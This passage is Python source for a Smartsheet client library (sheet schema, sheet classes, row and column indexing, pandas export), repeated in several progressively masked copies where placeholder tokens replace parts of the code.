here:\n http://smartsheet-platform.github.io/api-docs/#sheets\n\n \"\"\"\n id = fields.Int()\n name = fields.Str()\n access_level = fields.Str(data_key='accessLevel')\n permalink = fields.Str()\n favorite = fields.Bool()\n created_at = fields.DateTime(data_key='createdAt')\n modified_at = fields.DateTime(data_key='modifiedAt')\n version = fields.Int()\n total_row_count = fields.Int(data_key='totalRowCount')\n effective_attachment_options = fields.List(fields.Str(), data_key=\n 'effectiveAttachmentOptions')\n gantt_enabled = fields.Bool(data_key='ganttEnabled')\n read_only = fields.Bool(data_key='readOnly')\n dependencies_enabled = fields.Bool(data_key='dependenciesEnabled')\n resource_management_enabled = fields.Bool(data_key=\n 'resourceManagementEnabled')\n cell_image_upload_enabled = fields.Bool(data_key='cellImageUploadEnabled')\n user_settings = fields.Nested(UserSettingsSchema, data_key='userSettings')\n user_permissions = fields.Nested(UserPermissionsSchema, data_key=\n 'userPermissions')\n has_summary_fields = fields.Bool(data_key='hasSummaryFields')\n is_multi_picklist_enabled = fields.Bool(data_key='isMultiPicklistEnabled')\n columns = fields.List(fields.Nested(ColumnSchema))\n rows = fields.List(fields.Nested(RowSchema))\n workspace = fields.Nested(WorkspaceSchema)\n\n\n class Meta:\n unknown = utils.get_unknown_field_handling(config.STRICT_VALIDATION)\n ordered = True\n\n @pre_load\n def update_context(self, data, many: bool, **kwargs):\n self.context['column_id_to_type'] = {}\n return data\n\n\n<assignment token>\n\n\[email protected](auto_attribs=True, repr=False, kw_only=True)\nclass _SheetBase(CoreObject, Generic[RowT, ColumnT]):\n \"\"\"Represents Smartsheet Sheet object\n\n Additional details about fields can be found here:\n http://smartsheet-platform.github.io/api-docs/#sheets\n\n Extra attributes:\n indexes: contains all built indices\n \"\"\"\n name: str\n id: Optional[int] = None\n access_level: Optional[str] = None\n permalink: Optional[str] = None\n favorite: Optional[bool] = None\n created_at: Optional[datetime] = None\n modified_at: Optional[datetime] = None\n version: Optional[int] = None\n total_row_count: Optional[int] = None\n effective_attachment_options: List[str] = attr.Factory(list)\n gantt_enabled: Optional[bool] = None\n read_only: Optional[bool] = None\n dependencies_enabled: Optional[bool] = None\n resource_management_enabled: Optional[bool] = None\n cell_image_upload_enabled: Optional[bool] = None\n user_settings: Optional[UserSettings] = None\n user_permissions: Optional[UserPermissions] = None\n has_summary_fields: Optional[bool] = None\n is_multi_picklist_enabled: Optional[bool] = None\n columns: List[ColumnT] = attr.Factory(list)\n rows: List[RowT] = attr.Factory(list)\n workspace: Optional[Workspace] = None\n _row_num_to_row: Dict[int, RowT] = attr.ib(attr.Factory(dict), init=False)\n _row_id_to_row: Dict[int, RowT] = attr.ib(attr.Factory(dict), init=False)\n _column_title_to_column: Dict[str, ColumnT] = attr.ib(attr.Factory(dict\n ), init=False)\n _column_id_to_column: Dict[int, ColumnT] = attr.ib(attr.Factory(dict),\n init=False)\n indexes: IndexesType = attr.ib(attr.Factory(dict), init=False)\n _schema: ClassVar[Type[SheetSchema]] = SheetSchema\n\n def __attrs_post_init__(self) ->None:\n self._update_column_lookup()\n self._update_row_cell_lookup()\n\n def _update_column_lookup(self) ->None:\n self._column_title_to_column.clear()\n self._column_id_to_column.clear()\n for column in self.columns:\n column_id = column._id\n if column_id is None:\n continue\n self._column_id_to_column[column_id] = column\n column_title = column.title\n if column_title is None:\n continue\n if column_title in self._column_title_to_column:\n logger.info(\n 'Column with the title %s is already present in the index',\n column_title)\n self._column_title_to_column[column_title] = column\n\n def _update_row_cell_lookup(self) ->None:\n self._row_num_to_row.clear()\n self._row_id_to_row.clear()\n for row in self.rows:\n if row.num:\n self._row_num_to_row[row.num] = row\n if row.id:\n self._row_id_to_row[row.id] = row\n row._update_cell_lookup(self)\n\n def build_index(self, indexes: List[IndexKeysDict]) ->None:\n for index in indexes:\n columns = index['columns']\n unique = index['unique']\n self.indexes[columns] = {'index': {}, 'unique': unique}\n for row in self.rows:\n row._update_index(self)\n\n def get_row(self, row_num: Optional[int]=None, row_id: Optional[int]=\n None, filter: Optional[Dict[str, Any]]=None) ->Optional[RowT]:\n \"\"\"Returns Row object by row number or ID\n\n Either row_num or row_id must be provided\n\n Args:\n row_num: row number\n row_id: row id\n filter: a dictionary with column title to value\n mappings in the same order as index was built. Index must be unique.\n\n Returns:\n Row object\n \"\"\"\n if row_num is not None:\n return self._row_num_to_row.get(row_num)\n elif row_id is not None:\n return self._row_id_to_row.get(row_id)\n elif filter is not None:\n columns, query = zip(*sorted(filter.items()))\n index_dict = self.indexes.get(columns)\n if index_dict is None:\n raise exceptions.SmartsheetIndexNotFound(\n f'Index {columns} is not found, build it first with build_index method'\n )\n unique = index_dict['unique']\n if not unique:\n raise exceptions.SmartsheetIndexNotUnique(\n f'Index {columns} is non-unique and lookup will potentially return multiple rows, use get_rows method instead'\n )\n index = cast(Dict[Tuple[Any, ...], RowT], index_dict['index'])\n return index[query]\n else:\n raise ValueError(\n 'Either row_num or row_id argument should be provided')\n\n def get_rows(self, filter: Dict[str, Any]) ->List[RowT]:\n \"\"\"Returns Row objects by index query\n\n Args:\n filter: a dictionary or ordered dictionary with column title to value\n mappings in the same order as index was built. Index must be non-unique.\n\n Returns:\n Row object\n \"\"\"\n columns, query = zip(*sorted(filter.items()))\n index_dict = self.indexes.get(columns)\n if index_dict is None:\n raise exceptions.SmartsheetIndexNotFound(\n f'Index {columns} is not found, build it first with build_index method'\n )\n unique = index_dict['unique']\n if unique:\n unique_index = cast(Dict[Tuple[Any, ...], RowT], index_dict[\n 'index'])\n result = unique_index.get(query)\n if result is not None:\n return [result]\n else:\n return []\n else:\n non_unique_index = cast(Dict[Tuple[Any, ...], List[RowT]],\n index_dict['index'])\n return non_unique_index.get(query, [])\n\n def get_column(self, column_title: Optional[str]=None, column_id:\n Optional[int]=None) ->ColumnT:\n \"\"\"Returns Column object by column title or ID\n\n Either column_title or column_id must be provided\n\n Args:\n column_title: column title (case-sensitive)\n column_id: column id\n\n Returns:\n Column object\n \"\"\"\n if column_title is not None:\n return self._column_title_to_column[column_title]\n elif column_id is not None:\n return self._column_id_to_column[column_id]\n else:\n raise ValueError(\n 'Either column_title or column_id argument should be provided')\n\n def as_list(self) ->List[Dict[str, Union[float, str, datetime, None]]]:\n \"\"\"Returns a list of dictionaries with column titles and cell values\"\"\"\n return [row.as_dict() for row in self.rows]\n\n\[email protected](auto_attribs=True, repr=False, kw_only=True)\nclass Sheet(_SheetBase[Row, Column]):\n columns: List[Column] = cast(List[Column], attr.Factory(list))\n rows: List[Row] = attr.Factory(list)\n\n def make_cell(self, column_title: str, field_value: Any) ->Cell:\n \"\"\"Creates a Cell object for an existing column\n\n Args:\n column_title: title of an existing column\n field_value: value of the cell\n\n Returns:\n Cell object\n \"\"\"\n column = self.get_column(column_title)\n if column is None:\n raise ValueError(\n 'A column with the title %s does not exist in this sheet',\n column_title)\n if column.type == ColumnType.MULTI_PICKLIST:\n if not column.id:\n raise ValueError(f'Column {column!r} does not have ID')\n cell = Cell.create_multi_picklist(column_id=column.id, values=\n field_value)\n else:\n cell = Cell(column_id=column.id, value=field_value)\n return cell\n\n def make_cells(self, fields: Dict[str, Any]) ->List[Cell]:\n \"\"\"Create a list of Cell objects from dictionary\n\n Args:\n fields: dictionary where key is a column title and value is a cell value\n\n Returns:\n list of Cell objects\n \"\"\"\n result: List[Cell] = []\n for column_title, field_value in fields.items():\n result.append(self.make_cell(column_title, field_value))\n return result\n\n def as_list(self) ->List[Dict[str, Union[float, str, datetime, None]]]:\n \"\"\"Returns a list of dictionaries with column titles and cell values\"\"\"\n return [row.as_dict() for row in self.rows]\n\n def as_dataframe(self) ->'pd.DataFrame':\n \"\"\"Return the sheet as pandas DataFrame\n\n Columns will includes row id, row number and all columns from the sheet\n Pandas must be installed either separately or as extras:\n `pip install simple-smartsheet[pandas]`\n \"\"\"\n import pandas as pd\n df = pd.DataFrame([row.as_series() for row in self.rows])\n return df\n", "<import token>\n<code token>\n<assignment token>\n<class token>\n<class token>\n<class token>\n<class token>\n<class token>\n<class token>\n\n\nclass SheetSchema(CoreSchema):\n <docstring token>\n id = fields.Int()\n name = fields.Str()\n access_level = fields.Str(data_key='accessLevel')\n permalink = fields.Str()\n favorite = fields.Bool()\n created_at = fields.DateTime(data_key='createdAt')\n modified_at = fields.DateTime(data_key='modifiedAt')\n version = fields.Int()\n total_row_count = fields.Int(data_key='totalRowCount')\n effective_attachment_options = fields.List(fields.Str(), data_key=\n 'effectiveAttachmentOptions')\n gantt_enabled = fields.Bool(data_key='ganttEnabled')\n read_only = fields.Bool(data_key='readOnly')\n dependencies_enabled = fields.Bool(data_key='dependenciesEnabled')\n resource_management_enabled = fields.Bool(data_key=\n 'resourceManagementEnabled')\n cell_image_upload_enabled = fields.Bool(data_key='cellImageUploadEnabled')\n user_settings = fields.Nested(UserSettingsSchema, data_key='userSettings')\n user_permissions = fields.Nested(UserPermissionsSchema, data_key=\n 'userPermissions')\n has_summary_fields = fields.Bool(data_key='hasSummaryFields')\n is_multi_picklist_enabled = fields.Bool(data_key='isMultiPicklistEnabled')\n columns = fields.List(fields.Nested(ColumnSchema))\n rows = fields.List(fields.Nested(RowSchema))\n workspace = fields.Nested(WorkspaceSchema)\n\n\n class Meta:\n unknown = utils.get_unknown_field_handling(config.STRICT_VALIDATION)\n ordered = True\n\n @pre_load\n def update_context(self, data, many: bool, **kwargs):\n self.context['column_id_to_type'] = {}\n return data\n\n\n<assignment token>\n\n\[email protected](auto_attribs=True, repr=False, kw_only=True)\nclass _SheetBase(CoreObject, Generic[RowT, ColumnT]):\n \"\"\"Represents Smartsheet Sheet object\n\n Additional details about fields can be found here:\n http://smartsheet-platform.github.io/api-docs/#sheets\n\n Extra attributes:\n indexes: contains all built indices\n \"\"\"\n name: str\n id: Optional[int] = None\n access_level: Optional[str] = None\n permalink: Optional[str] = None\n favorite: Optional[bool] = None\n created_at: Optional[datetime] = None\n modified_at: Optional[datetime] = None\n version: Optional[int] = None\n total_row_count: Optional[int] = None\n effective_attachment_options: List[str] = attr.Factory(list)\n gantt_enabled: Optional[bool] = None\n read_only: Optional[bool] = None\n dependencies_enabled: Optional[bool] = None\n resource_management_enabled: Optional[bool] = None\n cell_image_upload_enabled: Optional[bool] = None\n user_settings: Optional[UserSettings] = None\n user_permissions: Optional[UserPermissions] = None\n has_summary_fields: Optional[bool] = None\n is_multi_picklist_enabled: Optional[bool] = None\n columns: List[ColumnT] = attr.Factory(list)\n rows: List[RowT] = attr.Factory(list)\n workspace: Optional[Workspace] = None\n _row_num_to_row: Dict[int, RowT] = attr.ib(attr.Factory(dict), init=False)\n _row_id_to_row: Dict[int, RowT] = attr.ib(attr.Factory(dict), init=False)\n _column_title_to_column: Dict[str, ColumnT] = attr.ib(attr.Factory(dict\n ), init=False)\n _column_id_to_column: Dict[int, ColumnT] = attr.ib(attr.Factory(dict),\n init=False)\n indexes: IndexesType = attr.ib(attr.Factory(dict), init=False)\n _schema: ClassVar[Type[SheetSchema]] = SheetSchema\n\n def __attrs_post_init__(self) ->None:\n self._update_column_lookup()\n self._update_row_cell_lookup()\n\n def _update_column_lookup(self) ->None:\n self._column_title_to_column.clear()\n self._column_id_to_column.clear()\n for column in self.columns:\n column_id = column._id\n if column_id is None:\n continue\n self._column_id_to_column[column_id] = column\n column_title = column.title\n if column_title is None:\n continue\n if column_title in self._column_title_to_column:\n logger.info(\n 'Column with the title %s is already present in the index',\n column_title)\n self._column_title_to_column[column_title] = column\n\n def _update_row_cell_lookup(self) ->None:\n self._row_num_to_row.clear()\n self._row_id_to_row.clear()\n for row in self.rows:\n if row.num:\n self._row_num_to_row[row.num] = row\n if row.id:\n self._row_id_to_row[row.id] = row\n row._update_cell_lookup(self)\n\n def build_index(self, indexes: List[IndexKeysDict]) ->None:\n for index in indexes:\n columns = index['columns']\n unique = index['unique']\n self.indexes[columns] = {'index': {}, 'unique': unique}\n for row in self.rows:\n row._update_index(self)\n\n def get_row(self, row_num: Optional[int]=None, row_id: Optional[int]=\n None, filter: Optional[Dict[str, Any]]=None) ->Optional[RowT]:\n \"\"\"Returns Row object by row number or ID\n\n Either row_num or row_id must be provided\n\n Args:\n row_num: row number\n row_id: row id\n filter: a dictionary with column title to value\n mappings in the same order as index was built. Index must be unique.\n\n Returns:\n Row object\n \"\"\"\n if row_num is not None:\n return self._row_num_to_row.get(row_num)\n elif row_id is not None:\n return self._row_id_to_row.get(row_id)\n elif filter is not None:\n columns, query = zip(*sorted(filter.items()))\n index_dict = self.indexes.get(columns)\n if index_dict is None:\n raise exceptions.SmartsheetIndexNotFound(\n f'Index {columns} is not found, build it first with build_index method'\n )\n unique = index_dict['unique']\n if not unique:\n raise exceptions.SmartsheetIndexNotUnique(\n f'Index {columns} is non-unique and lookup will potentially return multiple rows, use get_rows method instead'\n )\n index = cast(Dict[Tuple[Any, ...], RowT], index_dict['index'])\n return index[query]\n else:\n raise ValueError(\n 'Either row_num or row_id argument should be provided')\n\n def get_rows(self, filter: Dict[str, Any]) ->List[RowT]:\n \"\"\"Returns Row objects by index query\n\n Args:\n filter: a dictionary or ordered dictionary with column title to value\n mappings in the same order as index was built. Index must be non-unique.\n\n Returns:\n Row object\n \"\"\"\n columns, query = zip(*sorted(filter.items()))\n index_dict = self.indexes.get(columns)\n if index_dict is None:\n raise exceptions.SmartsheetIndexNotFound(\n f'Index {columns} is not found, build it first with build_index method'\n )\n unique = index_dict['unique']\n if unique:\n unique_index = cast(Dict[Tuple[Any, ...], RowT], index_dict[\n 'index'])\n result = unique_index.get(query)\n if result is not None:\n return [result]\n else:\n return []\n else:\n non_unique_index = cast(Dict[Tuple[Any, ...], List[RowT]],\n index_dict['index'])\n return non_unique_index.get(query, [])\n\n def get_column(self, column_title: Optional[str]=None, column_id:\n Optional[int]=None) ->ColumnT:\n \"\"\"Returns Column object by column title or ID\n\n Either column_title or column_id must be provided\n\n Args:\n column_title: column title (case-sensitive)\n column_id: column id\n\n Returns:\n Column object\n \"\"\"\n if column_title is not None:\n return self._column_title_to_column[column_title]\n elif column_id is not None:\n return self._column_id_to_column[column_id]\n else:\n raise ValueError(\n 'Either column_title or column_id argument should be provided')\n\n def as_list(self) ->List[Dict[str, Union[float, str, datetime, None]]]:\n \"\"\"Returns a list of dictionaries with column titles and cell values\"\"\"\n return [row.as_dict() for row in self.rows]\n\n\[email protected](auto_attribs=True, repr=False, kw_only=True)\nclass Sheet(_SheetBase[Row, Column]):\n columns: List[Column] = cast(List[Column], attr.Factory(list))\n rows: List[Row] = attr.Factory(list)\n\n def make_cell(self, column_title: str, field_value: Any) ->Cell:\n \"\"\"Creates a Cell object for an existing column\n\n Args:\n column_title: title of an existing column\n field_value: value of the cell\n\n Returns:\n Cell object\n \"\"\"\n column = self.get_column(column_title)\n if column is None:\n raise ValueError(\n 'A column with the title %s does not exist in this sheet',\n column_title)\n if column.type == ColumnType.MULTI_PICKLIST:\n if not column.id:\n raise ValueError(f'Column {column!r} does not have ID')\n cell = Cell.create_multi_picklist(column_id=column.id, values=\n field_value)\n else:\n cell = Cell(column_id=column.id, value=field_value)\n return cell\n\n def make_cells(self, fields: Dict[str, Any]) ->List[Cell]:\n \"\"\"Create a list of Cell objects from dictionary\n\n Args:\n fields: dictionary where key is a column title and value is a cell value\n\n Returns:\n list of Cell objects\n \"\"\"\n result: List[Cell] = []\n for column_title, field_value in fields.items():\n result.append(self.make_cell(column_title, field_value))\n return result\n\n def as_list(self) ->List[Dict[str, Union[float, str, datetime, None]]]:\n \"\"\"Returns a list of dictionaries with column titles and cell values\"\"\"\n return [row.as_dict() for row in self.rows]\n\n def as_dataframe(self) ->'pd.DataFrame':\n \"\"\"Return the sheet as pandas DataFrame\n\n Columns will includes row id, row number and all columns from the sheet\n Pandas must be installed either separately or as extras:\n `pip install simple-smartsheet[pandas]`\n \"\"\"\n import pandas as pd\n df = pd.DataFrame([row.as_series() for row in self.rows])\n return df\n", "<import token>\n<code token>\n<assignment token>\n<class token>\n<class token>\n<class token>\n<class token>\n<class token>\n<class token>\n\n\nclass SheetSchema(CoreSchema):\n <docstring token>\n <assignment token>\n <assignment token>\n <assignment token>\n <assignment token>\n <assignment token>\n <assignment token>\n <assignment token>\n <assignment token>\n <assignment token>\n <assignment token>\n <assignment token>\n <assignment token>\n <assignment token>\n <assignment token>\n <assignment token>\n <assignment token>\n <assignment token>\n <assignment token>\n <assignment token>\n <assignment token>\n <assignment token>\n <assignment token>\n\n\n class Meta:\n unknown = utils.get_unknown_field_handling(config.STRICT_VALIDATION)\n ordered = True\n\n @pre_load\n def update_context(self, data, many: bool, **kwargs):\n self.context['column_id_to_type'] = {}\n return data\n\n\n<assignment token>\n\n\[email protected](auto_attribs=True, repr=False, kw_only=True)\nclass _SheetBase(CoreObject, Generic[RowT, ColumnT]):\n \"\"\"Represents Smartsheet Sheet object\n\n Additional details about fields can be found here:\n http://smartsheet-platform.github.io/api-docs/#sheets\n\n Extra attributes:\n indexes: contains all built indices\n \"\"\"\n name: str\n id: Optional[int] = None\n access_level: Optional[str] = None\n permalink: Optional[str] = None\n favorite: Optional[bool] = None\n created_at: Optional[datetime] = None\n modified_at: Optional[datetime] = None\n version: Optional[int] = None\n total_row_count: Optional[int] = None\n effective_attachment_options: List[str] = attr.Factory(list)\n gantt_enabled: Optional[bool] = None\n read_only: Optional[bool] = None\n dependencies_enabled: Optional[bool] = None\n resource_management_enabled: Optional[bool] = None\n cell_image_upload_enabled: Optional[bool] = None\n user_settings: Optional[UserSettings] = None\n user_permissions: Optional[UserPermissions] = None\n has_summary_fields: Optional[bool] = None\n is_multi_picklist_enabled: Optional[bool] = None\n columns: List[ColumnT] = attr.Factory(list)\n rows: List[RowT] = attr.Factory(list)\n workspace: Optional[Workspace] = None\n _row_num_to_row: Dict[int, RowT] = attr.ib(attr.Factory(dict), init=False)\n _row_id_to_row: Dict[int, RowT] = attr.ib(attr.Factory(dict), init=False)\n _column_title_to_column: Dict[str, ColumnT] = attr.ib(attr.Factory(dict\n ), init=False)\n _column_id_to_column: Dict[int, ColumnT] = attr.ib(attr.Factory(dict),\n init=False)\n indexes: IndexesType = attr.ib(attr.Factory(dict), init=False)\n _schema: ClassVar[Type[SheetSchema]] = SheetSchema\n\n def __attrs_post_init__(self) ->None:\n self._update_column_lookup()\n self._update_row_cell_lookup()\n\n def _update_column_lookup(self) ->None:\n self._column_title_to_column.clear()\n self._column_id_to_column.clear()\n for column in self.columns:\n column_id = column._id\n if column_id is None:\n continue\n self._column_id_to_column[column_id] = column\n column_title = column.title\n if column_title is None:\n continue\n if column_title in self._column_title_to_column:\n logger.info(\n 'Column with the title %s is already present in the index',\n column_title)\n self._column_title_to_column[column_title] = column\n\n def _update_row_cell_lookup(self) ->None:\n self._row_num_to_row.clear()\n self._row_id_to_row.clear()\n for row in self.rows:\n if row.num:\n self._row_num_to_row[row.num] = row\n if row.id:\n self._row_id_to_row[row.id] = row\n row._update_cell_lookup(self)\n\n def build_index(self, indexes: List[IndexKeysDict]) ->None:\n for index in indexes:\n columns = index['columns']\n unique = index['unique']\n self.indexes[columns] = {'index': {}, 'unique': unique}\n for row in self.rows:\n row._update_index(self)\n\n def get_row(self, row_num: Optional[int]=None, row_id: Optional[int]=\n None, filter: Optional[Dict[str, Any]]=None) ->Optional[RowT]:\n \"\"\"Returns Row object by row number or ID\n\n Either row_num or row_id must be provided\n\n Args:\n row_num: row number\n row_id: row id\n filter: a dictionary with column title to value\n mappings in the same order as index was built. Index must be unique.\n\n Returns:\n Row object\n \"\"\"\n if row_num is not None:\n return self._row_num_to_row.get(row_num)\n elif row_id is not None:\n return self._row_id_to_row.get(row_id)\n elif filter is not None:\n columns, query = zip(*sorted(filter.items()))\n index_dict = self.indexes.get(columns)\n if index_dict is None:\n raise exceptions.SmartsheetIndexNotFound(\n f'Index {columns} is not found, build it first with build_index method'\n )\n unique = index_dict['unique']\n if not unique:\n raise exceptions.SmartsheetIndexNotUnique(\n f'Index {columns} is non-unique and lookup will potentially return multiple rows, use get_rows method instead'\n )\n index = cast(Dict[Tuple[Any, ...], RowT], index_dict['index'])\n return index[query]\n else:\n raise ValueError(\n 'Either row_num or row_id argument should be provided')\n\n def get_rows(self, filter: Dict[str, Any]) ->List[RowT]:\n \"\"\"Returns Row objects by index query\n\n Args:\n filter: a dictionary or ordered dictionary with column title to value\n mappings in the same order as index was built. Index must be non-unique.\n\n Returns:\n Row object\n \"\"\"\n columns, query = zip(*sorted(filter.items()))\n index_dict = self.indexes.get(columns)\n if index_dict is None:\n raise exceptions.SmartsheetIndexNotFound(\n f'Index {columns} is not found, build it first with build_index method'\n )\n unique = index_dict['unique']\n if unique:\n unique_index = cast(Dict[Tuple[Any, ...], RowT], index_dict[\n 'index'])\n result = unique_index.get(query)\n if result is not None:\n return [result]\n else:\n return []\n else:\n non_unique_index = cast(Dict[Tuple[Any, ...], List[RowT]],\n index_dict['index'])\n return non_unique_index.get(query, [])\n\n def get_column(self, column_title: Optional[str]=None, column_id:\n Optional[int]=None) ->ColumnT:\n \"\"\"Returns Column object by column title or ID\n\n Either column_title or column_id must be provided\n\n Args:\n column_title: column title (case-sensitive)\n column_id: column id\n\n Returns:\n Column object\n \"\"\"\n if column_title is not None:\n return self._column_title_to_column[column_title]\n elif column_id is not None:\n return self._column_id_to_column[column_id]\n else:\n raise ValueError(\n 'Either column_title or column_id argument should be provided')\n\n def as_list(self) ->List[Dict[str, Union[float, str, datetime, None]]]:\n \"\"\"Returns a list of dictionaries with column titles and cell values\"\"\"\n return [row.as_dict() for row in self.rows]\n\n\[email protected](auto_attribs=True, repr=False, kw_only=True)\nclass Sheet(_SheetBase[Row, Column]):\n columns: List[Column] = cast(List[Column], attr.Factory(list))\n rows: List[Row] = attr.Factory(list)\n\n def make_cell(self, column_title: str, field_value: Any) ->Cell:\n \"\"\"Creates a Cell object for an existing column\n\n Args:\n column_title: title of an existing column\n field_value: value of the cell\n\n Returns:\n Cell object\n \"\"\"\n column = self.get_column(column_title)\n if column is None:\n raise ValueError(\n 'A column with the title %s does not exist in this sheet',\n column_title)\n if column.type == ColumnType.MULTI_PICKLIST:\n if not column.id:\n raise ValueError(f'Column {column!r} does not have ID')\n cell = Cell.create_multi_picklist(column_id=column.id, values=\n field_value)\n else:\n cell = Cell(column_id=column.id, value=field_value)\n return cell\n\n def make_cells(self, fields: Dict[str, Any]) ->List[Cell]:\n \"\"\"Create a list of Cell objects from dictionary\n\n Args:\n fields: dictionary where key is a column title and value is a cell value\n\n Returns:\n list of Cell objects\n \"\"\"\n result: List[Cell] = []\n for column_title, field_value in fields.items():\n result.append(self.make_cell(column_title, field_value))\n return result\n\n def as_list(self) ->List[Dict[str, Union[float, str, datetime, None]]]:\n \"\"\"Returns a list of dictionaries with column titles and cell values\"\"\"\n return [row.as_dict() for row in self.rows]\n\n def as_dataframe(self) ->'pd.DataFrame':\n \"\"\"Return the sheet as pandas DataFrame\n\n Columns will includes row id, row number and all columns from the sheet\n Pandas must be installed either separately or as extras:\n `pip install simple-smartsheet[pandas]`\n \"\"\"\n import pandas as pd\n df = pd.DataFrame([row.as_series() for row in self.rows])\n return df\n", "<import token>\n<code token>\n<assignment token>\n<class token>\n<class token>\n<class token>\n<class token>\n<class token>\n<class token>\n\n\nclass SheetSchema(CoreSchema):\n <docstring token>\n <assignment token>\n <assignment token>\n <assignment token>\n <assignment token>\n <assignment token>\n <assignment token>\n <assignment token>\n <assignment token>\n <assignment token>\n <assignment token>\n <assignment token>\n <assignment token>\n <assignment token>\n <assignment token>\n <assignment token>\n <assignment token>\n <assignment token>\n <assignment token>\n <assignment token>\n <assignment token>\n <assignment token>\n <assignment token>\n\n\n class Meta:\n unknown = utils.get_unknown_field_handling(config.STRICT_VALIDATION)\n ordered = True\n <function token>\n\n\n<assignment token>\n\n\[email protected](auto_attribs=True, repr=False, kw_only=True)\nclass _SheetBase(CoreObject, Generic[RowT, ColumnT]):\n \"\"\"Represents Smartsheet Sheet object\n\n Additional details about fields can be found here:\n http://smartsheet-platform.github.io/api-docs/#sheets\n\n Extra attributes:\n indexes: contains all built indices\n \"\"\"\n name: str\n id: Optional[int] = None\n access_level: Optional[str] = None\n permalink: Optional[str] = None\n favorite: Optional[bool] = None\n created_at: Optional[datetime] = None\n modified_at: Optional[datetime] = None\n version: Optional[int] = None\n total_row_count: Optional[int] = None\n effective_attachment_options: List[str] = attr.Factory(list)\n gantt_enabled: Optional[bool] = None\n read_only: Optional[bool] = None\n dependencies_enabled: Optional[bool] = None\n resource_management_enabled: Optional[bool] = None\n cell_image_upload_enabled: Optional[bool] = None\n user_settings: Optional[UserSettings] = None\n user_permissions: Optional[UserPermissions] = None\n has_summary_fields: Optional[bool] = None\n is_multi_picklist_enabled: Optional[bool] = None\n columns: List[ColumnT] = attr.Factory(list)\n rows: List[RowT] = attr.Factory(list)\n workspace: Optional[Workspace] = None\n _row_num_to_row: Dict[int, RowT] = attr.ib(attr.Factory(dict), init=False)\n _row_id_to_row: Dict[int, RowT] = attr.ib(attr.Factory(dict), init=False)\n _column_title_to_column: Dict[str, ColumnT] = attr.ib(attr.Factory(dict\n ), init=False)\n _column_id_to_column: Dict[int, ColumnT] = attr.ib(attr.Factory(dict),\n init=False)\n indexes: IndexesType = attr.ib(attr.Factory(dict), init=False)\n _schema: ClassVar[Type[SheetSchema]] = SheetSchema\n\n def __attrs_post_init__(self) ->None:\n self._update_column_lookup()\n self._update_row_cell_lookup()\n\n def _update_column_lookup(self) ->None:\n self._column_title_to_column.clear()\n self._column_id_to_column.clear()\n for column in self.columns:\n column_id = column._id\n if column_id is None:\n continue\n self._column_id_to_column[column_id] = column\n column_title = column.title\n if column_title is None:\n continue\n if column_title in self._column_title_to_column:\n logger.info(\n 'Column with the title %s is already present in the index',\n column_title)\n self._column_title_to_column[column_title] = column\n\n def _update_row_cell_lookup(self) ->None:\n self._row_num_to_row.clear()\n self._row_id_to_row.clear()\n for row in self.rows:\n if row.num:\n self._row_num_to_row[row.num] = row\n if row.id:\n self._row_id_to_row[row.id] = row\n row._update_cell_lookup(self)\n\n def build_index(self, indexes: List[IndexKeysDict]) ->None:\n for index in indexes:\n columns = index['columns']\n unique = index['unique']\n self.indexes[columns] = {'index': {}, 'unique': unique}\n for row in self.rows:\n row._update_index(self)\n\n def get_row(self, row_num: Optional[int]=None, row_id: Optional[int]=\n None, filter: Optional[Dict[str, Any]]=None) ->Optional[RowT]:\n \"\"\"Returns Row object by row number or ID\n\n Either row_num or row_id must be provided\n\n Args:\n row_num: row number\n row_id: row id\n filter: a dictionary with column title to value\n mappings in the same order as index was built. Index must be unique.\n\n Returns:\n Row object\n \"\"\"\n if row_num is not None:\n return self._row_num_to_row.get(row_num)\n elif row_id is not None:\n return self._row_id_to_row.get(row_id)\n elif filter is not None:\n columns, query = zip(*sorted(filter.items()))\n index_dict = self.indexes.get(columns)\n if index_dict is None:\n raise exceptions.SmartsheetIndexNotFound(\n f'Index {columns} is not found, build it first with build_index method'\n )\n unique = index_dict['unique']\n if not unique:\n raise exceptions.SmartsheetIndexNotUnique(\n f'Index {columns} is non-unique and lookup will potentially return multiple rows, use get_rows method instead'\n )\n index = cast(Dict[Tuple[Any, ...], RowT], index_dict['index'])\n return index[query]\n else:\n raise ValueError(\n 'Either row_num or row_id argument should be provided')\n\n def get_rows(self, filter: Dict[str, Any]) ->List[RowT]:\n \"\"\"Returns Row objects by index query\n\n Args:\n filter: a dictionary or ordered dictionary with column title to value\n mappings in the same order as index was built. Index must be non-unique.\n\n Returns:\n Row object\n \"\"\"\n columns, query = zip(*sorted(filter.items()))\n index_dict = self.indexes.get(columns)\n if index_dict is None:\n raise exceptions.SmartsheetIndexNotFound(\n f'Index {columns} is not found, build it first with build_index method'\n )\n unique = index_dict['unique']\n if unique:\n unique_index = cast(Dict[Tuple[Any, ...], RowT], index_dict[\n 'index'])\n result = unique_index.get(query)\n if result is not None:\n return [result]\n else:\n return []\n else:\n non_unique_index = cast(Dict[Tuple[Any, ...], List[RowT]],\n index_dict['index'])\n return non_unique_index.get(query, [])\n\n def get_column(self, column_title: Optional[str]=None, column_id:\n Optional[int]=None) ->ColumnT:\n \"\"\"Returns Column object by column title or ID\n\n Either column_title or column_id must be provided\n\n Args:\n column_title: column title (case-sensitive)\n column_id: column id\n\n Returns:\n Column object\n \"\"\"\n if column_title is not None:\n return self._column_title_to_column[column_title]\n elif column_id is not None:\n return self._column_id_to_column[column_id]\n else:\n raise ValueError(\n 'Either column_title or column_id argument should be provided')\n\n def as_list(self) ->List[Dict[str, Union[float, str, datetime, None]]]:\n \"\"\"Returns a list of dictionaries with column titles and cell values\"\"\"\n return [row.as_dict() for row in self.rows]\n\n\[email protected](auto_attribs=True, repr=False, kw_only=True)\nclass Sheet(_SheetBase[Row, Column]):\n columns: List[Column] = cast(List[Column], attr.Factory(list))\n rows: List[Row] = attr.Factory(list)\n\n def make_cell(self, column_title: str, field_value: Any) ->Cell:\n \"\"\"Creates a Cell object for an existing column\n\n Args:\n column_title: title of an existing column\n field_value: value of the cell\n\n Returns:\n Cell object\n \"\"\"\n column = self.get_column(column_title)\n if column is None:\n raise ValueError(\n 'A column with the title %s does not exist in this sheet',\n column_title)\n if column.type == ColumnType.MULTI_PICKLIST:\n if not column.id:\n raise ValueError(f'Column {column!r} does not have ID')\n cell = Cell.create_multi_picklist(column_id=column.id, values=\n field_value)\n else:\n cell = Cell(column_id=column.id, value=field_value)\n return cell\n\n def make_cells(self, fields: Dict[str, Any]) ->List[Cell]:\n \"\"\"Create a list of Cell objects from dictionary\n\n Args:\n fields: dictionary where key is a column title and value is a cell value\n\n Returns:\n list of Cell objects\n \"\"\"\n result: List[Cell] = []\n for column_title, field_value in fields.items():\n 